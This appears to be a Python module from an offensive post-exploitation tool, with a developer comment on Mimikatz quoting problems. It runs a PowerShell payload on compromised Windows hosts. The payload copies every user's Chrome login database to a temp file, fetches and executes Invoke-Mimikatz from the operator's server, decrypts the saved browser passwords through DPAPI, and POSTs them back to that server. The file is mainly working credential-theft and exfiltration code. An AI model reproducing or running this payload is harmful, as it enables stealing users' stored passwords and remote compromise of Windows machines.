'Oook.. Think my heads going to explode
So Mimikatz\'s DPAPI module requires the path to Chrome\'s database in double quotes otherwise it can\'t interpret paths with spaces.
Problem is Invoke-Mimikatz interpretes double qoutes as seperators for the arguments to pass to the injected mimikatz binary.
As far as I can figure out there is no way around this, hence we have to first copy Chrome\'s database to a path without any spaces and then decrypt
the entries with Mimikatz, not ideal but it works.'

def on_admin_login(self, context, connection):

    payload = '\n                                $cmd    =    "privilege::debug    sekurlsa::dpapi"\n                                $userdirs    =    get-childitem    "$Env:SystemDrive\\Users"\n                                foreach    ($dir    in    $userdirs)    {{\n                                                $LoginDataPath    =    "$Env:SystemDrive\\Users\\$dir\\AppData\\Local\\Google\\Chrome\\User    Data\\Default\\Login    Data"\n\n                                                if    ([System.IO.File]::Exists($LoginDataPath))    {{\n                                                                $rand_name    =    -join    ((65..90)    +    (97..122)    |    Get-Random    -Count    7    |    %    {{[char]$_}})\n                                                                $temp_path    =    "$Env:windir\\Temp\\$rand_name"\n                                                                Copy-Item    $LoginDataPath    $temp_path\n                                                                $cmd    =    $cmd    +    "    `"dpapi::chrome    /in:$temp_path`""\n                                                }}\n\n                                }}\n                                $cmd    =    $cmd    +    "    exit"\n\n                                IEX    (New-Object    Net.WebClient).DownloadString(\'{server}://{addr}:{port}/Invoke-Mimikatz.ps1\');\n                                $creds    =    Invoke-Mimikatz    -Command    $cmd;\n                                $request    =    [System.Net.WebRequest]::Create(\'{server}://{addr}:{port}/\');\n                                $request.Method    =    \'POST\';\n                                $request.ContentType    =    \'application/x-www-form-urlencoded\';\n                                $bytes    =    [System.Text.Encoding]::ASCII.GetBytes($creds);\n                                $request.ContentLength    =    $bytes.Length;\n                                $requestStream    =    $request.GetRequestStream();\n                                $requestStream.Write(    $bytes,    0,    $bytes.Length    );\n                                $requestStream.Close();\n                                $request.GetResponse();'.format(server=context.server, port=context.server_port, addr=context.localip)
    payload = create_ps_command(payload)
    connection.execute(payload)
    context.log.success('Executed    payload')
